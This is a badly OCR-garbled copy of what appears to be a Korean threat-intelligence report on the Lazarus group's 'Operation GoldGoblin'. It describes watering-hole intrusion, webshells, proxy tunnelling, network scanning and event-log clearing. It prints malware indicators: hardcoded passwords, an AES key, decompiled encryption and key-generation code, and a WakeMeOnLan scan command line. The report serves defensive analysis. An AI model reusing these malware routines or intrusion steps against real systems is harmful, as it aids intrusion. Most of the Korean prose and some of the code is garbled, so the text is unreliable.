EAfEHelZ R0 YHOIX HoIHE B eIE0IA HRUOR HESIGCL BT $ U NAUSE NofSt7] ol 2uiz
2| M0l HYRIOIS WHOIXIS HA5HT L2 2 PCES HofsteLt.
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EE """"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" §

(" intemet Network Internal Network
=3
(@ Lateral Movement .
@ Malware Infect 3 Exploit @ Webshell Connect (® Create C&C WebPage
www — - Document
Management
Watering Hole Document Server
Management T ® Command & Control
Web Ul ‘ | ‘

20234 Operation GoldGoblin

VPN AE 23 E Solf LHIRLCZ HESIUCL HE = LIE AARSS MO{sty| 2/s] Wy MHol| IS FAMHE HX|st = BH
Ho{E Amo[X| S Y5t LR Z4H PCSS MO{SHALL.
[ Internet Network Internal Network |
(@ Lateral Movement
@ Malware Infect Z— @ Remote Deskop Connect &= @ IIS Setup and
-_— = Create C&C WebPage

SERVER
T (® Command & Control

' |

Watering Hole VPN

Command and Control - Proxy: Internal Proxy
o|O| Zotst A| A 21 HAIE H& Al W& IPE &7(7] I ZEA| =72 lex T2 IS X3 AMSSICE

A8 EX2 YR O|HIEZ 0] LIEHtTY,

fo =

[H
I

Al B

20183 ATEQ0f JH AL HolAtn
TEA EE AR8HH 21Z H&3H 1P} 127.0.0.1(localhost)2 20| 7|2 EIC} 0|2 AL AKX o= MM 2 F4
2 St =Xl 27| ofFLt.

Q_ Audit Success 20170904 2% 10:53:4 4648 Microsoft-Windows-St
@, Audit Success 0170904 2F 10534 4776 Microsoft-Windows-5t
@ Audt Success 20170904 F 10:534 4624 Microsoft-Windows-St
E A0 ETH22 2I2EASLICH
3 FH:
g 22t 5-15-18
HE O WIN-RTEPCICIRTS.
HE=H: WORKGROUP
EI2m: 0x3e7
2J2 /¥: 10
IERECS
EOHD: §-1°5-21-20847126.56-50 1944509 -2788 162229-500
HEOE: Administrator
HE ZHL: WIN-RTEPCIOIRT
2J2m: 0x1b47708e
238 6u: {00000000-0000-0000-0000-000000000000}
DML
Z2N2D: Oxade
ZZHZ018: C:Wiindows'WSystem32¥hwinlogon. exe
HENI BE:
HIAHOIH 0IS: WIN-4RTEPCIOIRT
HEUESI Za: 127.0.0.1
HE EE: 5224

20204 Operation Bookcodes
I A|ARIO| ZEACRE MMSHTHIL S Aof| BIX|=|7| = BT}, 22l TEA| £712Q1 IexLt htran2 CHRE 22| W Aof| A EFX| St
Ct.
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20234 Operation GoldGoblin

52 ADUME TEA| E7E ALBY BHS WABAOLE lexLf hiran 22 o4 2802 BiS0f
o2 IEA 72 A8F0IUCE

t2kA 2 L2 XX

= 2020-11-01 2F 3:47:42
g 2020-11-01 2% 3:47:42

®

®

@DHz= 2020-11-01 2% 3:41:12
AZE3D 2020-11-01 2% 3:41:12
(OF-F] 2020-11-01 2% 3:23:57
Ok 2020-11-01 2% 2:23:57
O|#1E 1116, Windows Defender

2 X3

Windows Defender0|(7l) ZH0f & 7|Ef AHEXt §9| 210] X8 22!
T HE2 OEE BESUAL
https://qgo.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Wai

0| &: Trojan:Win32/Wacatac.D9!ml

ID: 2147757788

RS

gF E=0|

ZE: file, C:¥ProgramData¥lcx.exe

ZH Y= EZ TS

ZM R HE 22

HM AN AN ES

"o =
ZFHECH

[€9) 1 formation 20220707 |2% 10:21:1]

(i) Information 2022-07-07 2F 10:21:1%

(i) Information 2021-04-22 2% 247:42

(&) Information 2021-04-22 2= 2:47:41

Qo

3 || ERGAIE MuA M AT UYL LS,
% Ap2 Z}; WIN-DDINFOBNR 1HWAdministrator
§ HA1ID: 2

HE UEHI F4;127.0.0.1

Discovery - Network Service Discovery

Lazarus JE2 A ES 7|9 HIEQIZ A4S metsty| 2ls HIE

(el

3 Ense wAm|

A3 AINHE AL SICE LR 22| HIEQIS AT = WMo

[ W

EIX|Z|7| tf20f| 0|2 I|8t7] $I8H Nir SoftAlof| M 7HEtst WakeMeOnLanO|2t= T2 1S F2 A2 ST} WakeMeOnLan2)
o

FRI|S2 Lan ZEE St A|ARS RYATF|= AOXY HEI AH 7Sk LR

3 A= AMBSE 258 2eltt

o wakeMeOnLan

File Edt View Options Help

Bx[em|H WA

1P Address Computer Name
@10.10.1.20

@10.00.0.22

@ 1010130 K0GOS
Q1010132 WIN-LMSTUGIMEJD

2018 AT Ego] AL AlSAt

C:\Windows C|H E2|0f| java.exeZE 0|E2 2|&st0]

" MAC Address " Network Adupter Comp Status

User Test Wiorkgroup
68-58-35-D2-8A-3F Apple, Inc on
00-0C-20-AF-CT-D3  VMware, ine. on
BC-5F-F4-21-D2-46 ASRock Incorparation On
00-50-56-27-54-7F Viware, inc on

0|0, javaupdate.html2 WakeMeOnLan2| AZH 21tz XZEst I 0| ALt

SHE|01910] Lazarus= 0|22 HIES

Brosdcart Address Part umber M

MMBIALL, java.cfg= WakeMeOnLan2| I A| HIO|E{7F K&HEl FHA|TH

TTPs #10 : Operation GoldGoblin - HZH|0| F XS 0| &3 MEXO=

> DO System Volume Information 0 162 Fonts 04/10/18 07:36:15 2 d
1 g: Lemp 0 163 | [ DPINST.LOG 04/18/18 10:46:52 2 &
> DL sers
« DOW Windows 0O 164 Downloaded Program Files 05/02/18 02:02:06 2 &
DO addins 0 165 O java.exe 05/08/18 05:13:45 2 %
DO ADFS [ 166 | [ java.cfg 05/08/18 05:18:21 2%
» DO AppCompat .
» DO Application Data 0 167 [ javaupdate.html 05/08/18 05:18:24 @ &
» 0O Epppatth M 120 ™ ki avs ASIAOO AADOAN O R
— - ||« m
Fields B Report B Text B Hex B Doc| B Transcript.: @ pPicture & Console = File Extents 4 Permissions @ HashSets B Auributes
M Fnd @ ¥ CompressedView | 2 3 | I- FitToPage
| WINDOWS EXECUTABLE
2
S:ﬂ.bit for Windows Server 2003
E|
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TTPs #10:

20234 Operation GoldGoblin

0| Operation0il M= WakeMeOnLanS A%t HHE =X 0| YHE|UL} ssh.dat= WakeMeOnLan2| 9| E I} UHO|H
scan, UselPAdressesRange, IPAddressFrom, IPAddressTo, UserNetworkAdapter, shtml2t 22 &M 2 WakeMeOnLan2|
CLI H{HO|M At83H= SMS0IL

Field Data

"WDeviceWHarddiskVolume3#WWindows#System32¥spoolsv.exe' T2 M 2(PID 4236)2| ‘cmd.exe /c C:#¥ProgramData
Wsshi¥ssh.dat /scan /UselPAddressesRange 1 /IPAddressFrom 10.10.25.1 /IPAddressTo 10.10.25.254 /
UseNetworkAdapter 0 /shtml| C:WProgramData¥sshixinfo.log' & & Z 1 'C:WWindows¥System32#cmd.exe' 5H9] ZZ
MA AAO| KFEHg|9lS £ 9l LT

— oo

Defense Evasion - Masquerading: Match Legitimate Name or Location
otMAC MMA| C:\ProgramData\2t C:\Windows\System32 ZZE XtF &82st= 2&S EQICt.

Aol oymc 2=

C:\ProgramData\adobe\ C:\ProgramData\softcamp\

2018 ZHRHLE 22 7| At
C:\Windows\System32\[ServiceName].dll

2020'd Operation Bookcodes C:\ProgramData\ C:\Windows\System32\[ServiceName].dll

C:\ProramData\USOShared\ C:\ProramData\picpick\
C:\ProramData\ESTsoft\ C:\ProramData\Nuget\
2023 Operation GoldGoblin C:\ProramData\Intel\ C:\ProramData\ssh\
C:\ProramData\Microsof\DRM\
C:\Windows\System32\**proc.sys

Defense Evasion - Indicator Removal: Clear Windows Event Logs

otd2HQ| o| O|HIEZ 0| X H7|X| 27| 2ol AH| %'!°I% SICH ofMAE MH|A MX| Al 2H0| L= SYSTEM O[HIEZ
9t A HAIE M4 A EH0| E= SECURITY O|HIEZ IS F2Z AfH|siCt,

o
OtMAL QAR

o

I'H ESHAL 20| M 225 FHAES2 7|

Bt

0l Lazarusd&E(HiddenCobra)7t At&35t 0= AT EO| AL S 2HQIRUCt,

GiddyupStda Bold
NI 7|Z 2018\ ZLH FHMRIA A 7| S A0l AFSEIQUE SN T Eoto| At RAMO| golg|lrt.

1. SYHO| HOIX|o|l A ArESHE 7| 2 RAL

(2h) GiddyupStda Bold SEH[O{X|, () ‘18 7t4AHt A H A= HHEHO{X|

PASSWORD_FIRST = "NVWoldpKf@2J9wk408, H
PASSWORD_SECOND = xtShbdHe8 95yEOU/\V

PARAM_FIRST = "bo:
PARAM_SECOND =
PARAM_THIRD =

g TYPE_FOURTH diet

g TYPE_FIFTH = "col

g TYPE_SIXTH = "travel

g RESPONSE_SUCCESS DOCTYPE html>";

g RESPONSE_FAIL =

g REPLACE_STRING = NnVEqdgzJ67/B8euSOyKCIM

2. dHIAE ZXE 553 d02|E 5Y (XB(Substitution) & HWH S
(Zh) GiddyupStda Bold 443 E 553} 2d2|E, (P) ‘18 7R M A E E55 40| F

Operation GoldGoblin - M[ZH|0] # L& E 0|88 MEXO=E HESH= ZHXE 2N 36



result = strdup(zl); result = strdup(al);

v2 = result; v2 = result;
if ( result ) if ( result )
{ {
V3 = 11; v3 = 11;
if ( *result ) if ( *result )
{ {
v4 = result; v4 = result;
do do
{ {
VERENH v5 = 8;
v6 = &Substitution_table; v6 = &Substitution_table;
while ( *v4 1= *v6 ) while ( *v4 I= *v6 )
{ {
++5; ++U5;
\./6=(v5+1); v6 = (v6 + 1);
if ( v5 >= ex4e ) if ( v5 >= ex40 )
goto LABEL_9; goto LABEL_9;
y } -
V7 = *(&Substitution_table + ((v5 - v3) & @x3F)); v7 = *(8Substitution_table + ((v5 - v3) & @x3F));
a4 = v7; *a = v7; B
v3 = (v3 + v7) & Ox3F; v3 = (V3 + v7) & OX3F;
LABEL_9: ABEL_9:
Ul T vl
¥ )
1 * .
while ( *v4 ); while ( *va );
return v2;

return v2;

return result;
- return result;

3

3. BYHOIX[F SHAl AHBSHE EXIE RAL
(2} GiddyupStda Bold S ## ZXHE, () '18 7H4AHE I E S 2HH ZXHE

memset (Buffer, @, 513); memset(;staﬁ, 0, 513);

Source = Qi64; Src = 0ié4;

memset (v9, @, 260); memset(vo, @, 259){

memset(v1l, @, 260); T:m:e;g\u, 0, 260);

V7 = 05 . . sub_18080EDAB(vS, "%s", "NVNoldpKfe23owk408AC");
vsprintf_(v9, "%s", "8Rvid-UPMQUFgjMI3cZF"); Sub_1800@EDAG(v11, "%X", a1);

vsprintf_(vil, "%X", al); sprintf_s(DstBuf, @x201ui64, "%s%s&%s%s", "board=", v1l, "contents=", v9);
sprintf_s(Buffer, Ox201uibd, "%s%s&%s%s", "type=", v1l, "data=", v9); v sub_180010950(DstBuf, strlen(DstBuf), &rc, &v7);

V2 = sub_1880@57F@(Buffer, strlen(Buffer), &Source, &v7); sre;
v3 = Source; 21=1)
if (v2l=1) .
1{ 7 (v
\BEL_6: t (v3)
if (v3) V6 = decode("SqbksalyT");
(ve)(v3);
v6 = Decode_str("MySDHrY6s"); // LocalFree } .
v6(v3); return 0i64;
}
A memset(Dst, @, 260);
return 0i64; if ( sre )
o {
memset (Destination, @, 268); if (V7 >= OxF )

if ( Source )
memcpy_s(Dst, @x104ui64, Src, exFui64);
if ( v7 >= OxF ) if ( !stremp(Dst, "<!DOCTYPE html>") )

v4 = decode("SqbkoadyT");

memcpy_s(Destination, ©x104ui64, Source, OxFui64); (va) (v3);

if ( !stremp(Destination, “"<!DOCTYPE html>") ) return 1i64:
{ ¥

v4 = Decode_str("My9DHrY6s"); // LocalFree }

va(v3); goto LABEL_6;

return 1i64; } . —
return 0164;

}
goto LABEL_6;

return 0i64;

proc.sys
proc2MIFEE= Ct

3t &S soIgiCH3].

= AR

20 dMIACo|Lt, ZES| EFO| CISANIN S7Het HAMO =2l FALLCHILL 283 EQte| AETH RA

Ho

CISAOIA B7HHE FALLCHILLS| Z2 &5 212|E0| RC4E O|E}OLE YAl ZU EX SAEAHE SHYE AFHIAE9
42 Uz 2n2|F0| AES 2 HAE 2 HollAon, oftHo| MsAtnof| 2 El *proc.sys= O FALLCHILL-AES H{ &1}

T LIt QAFSICE.

CISAOIA 20174 2713t FALLCHILL (RC4) {8 EX HE

22X 559t RC4+XOR

gdE &4 RC4+XOR

EMIOZZEE Fake TLS (TLS 1.0, TLS 1.2)
HH 2.3, x86_3.0
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e HA OxFF34 ~ OxFF56
[=]

o
X YRAEZ

SYSTEM\CurrentControlSet\services\eventlog\Application\Config

KrCert 2018 AT =ZLH ESHAL20| A FALLCHILL (AES) 8 X M=

2xg 253 AES

o A AN AES+BASE64
ENTZES HTTP, TLS 1.0
HA x86_1.0, x64_1.0
W2 KA OXFF31 ~ OxFF5D

SYSTEM\CurrentControlSet\Services\eventlog\Application\Conf

SYSTEM\CurrentControlSet\services\eventlog\Application\Config

1. ZXE =310 AES128 L 1E2|EE MEBHCH, 2= 3 7= Unicode 16Xt2](32byte) ZXIE0| StERE E[0{JALH, &

M == 3HA| 2 8712 EXHE(16byte)S 0|83 =23t 7|2 EE.

(Zh proc.sys AMIAE EXE 523} () ‘18 TAEA FB{AtLD

( AES_Decrypt_18003326@(Key_table, &unk_18005B220, 32, &v23, 40) )

Recipe Bl T nput +D=I@im

SF 25 98 4E F3 SE 56 1F 37 E7 43 3C 50 BF 7E SE D6 70 F1 AB A4 A6 69 0D

AES Decrypt €4 13 6C C2 67 D8 18 01

50 00 56 00 31 20 20.
0 00 00 00 00 80 80,
C8C Hex

e T o Bpies

Output - aNcle

chost.axe

Raw

Remove null bytes

2. HHIEE= FHMO AL Sl ZIT0| 16byte| MZ2 HY 7|

50f LI X7} 0 O|H 0-9%Xt, LIHX|Z} 10| AFX} a-z, LIHX| 7} 20|H A-Z2| CHEXIZIS SR
Heot HO|E|E &-+4E o AH2E|H, 2| X H& Al i 715 base64Z QB 6I0] MO MH{of| H STt

oIC BXiY ot

AES_SET_KEY_sub_180001000(&KEY_unk_180030530, L"x59KuolxrnP9fars");// 16byte key (RES 128)
if ( !sub_130004830()
|| !sub_1800077A0(
|| !sub_180@069F0(
|| !sub_13ee071E0(
|| !sub_130004E0(
|| !sub_1800073F0() )
Recipe B mF  npu

)
)
)
)
)

ob 26 cb 97 43 22 77 11 44 9 62 29 6c 1d b6 ae
AES Decrypt

38 00 35 00 46 00 Ge 00 74 00 53 00 62 00 7a 00 HEX”

90 00 00 60 00 00 00 00 G0 00 00 00 00 00 00 0 "X~
Output

cBC Hex Raw c K \Es

[

£ M4elrt. o|m rand g5 S3ll W4Tt US 3= Lt

(Zh proc.sys 16byte SEH7| MM () ‘18 STAEIAL ESHALD 16byte HEF| AN

ey | e M ey mm ] — Wy

v13 = GetTickCount_@();
srand(v13);
for ( cnt = @i64; cnt < 16; ++cnt )
{
v15 = rand();
if ( v15 == 3 * (v15 / 3) )

{

vle = v15 % 18 + 48;
1
else if ( vli5 % 3 ==1)
{

vl6e = v15 % 26 + 97;
}
else
{

vl6 = v15 % 26 + 65;
}
v85[cnt] = vis6;

3. AYIJEIMAESHE BXIAER] 22T ST

o
oM
HU
T

AtEeHCt.

pa}

S NEN = L

1 = GetTickCount();
srand(vl);
for (i =0©; i < 16; ++i )
{
1 = rand();
if ( 1% 3 )
{
if ( 1% 3 ==1)
2 = va ¥ ex1A + 97;
else
2 = va ¥ Ox1A + 65;
*(A + ‘:1;) = :';

4 % OxA + 48;

TTPs #10 : Operation GoldGoblin - HZH|0| F2E S 0|23 MEXHo= HFst= S F T 24
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FALLCHILL (RC4) CISA(17) SYSTEM\CurrentControlSet\services\eventlog\Application\Config

KISA('18 SAE!

AFESHART SYSTEM\CurrentControlSet\services\eventlog\Application\Config

FALLCHILL (AES)

**proc.sys KISA('21~'23) SYSTEM\CurrentControlSet\services\eventlog\Application\Config

OFM AT HiE

o

ra
0z
HT

SIX|AER|0| MEE A dFET} 0|83t= 2t H|OIE S25HA| Zeld =

rir

ofMacHy FALLCHILL (RC4) FALLCHILL (AES) *proc.sys
HH HE 2.3,x86_3.0 x86_1.0,x64 1.0 x64_1.2
References

[1] TTPs#2 A0 D|d o2 FHE 8= AT 7o LA 24 (KISA, '20.6)
[2] Operation ‘Dream Job’ (ClearSky, ‘20.8)
[3] HIDDEN COBRA — North Korean Remote Administration Tool: FALLCHILL(CISA, ‘17.11)

Appendix. Tactics, Techniques, and Procedures

_—_
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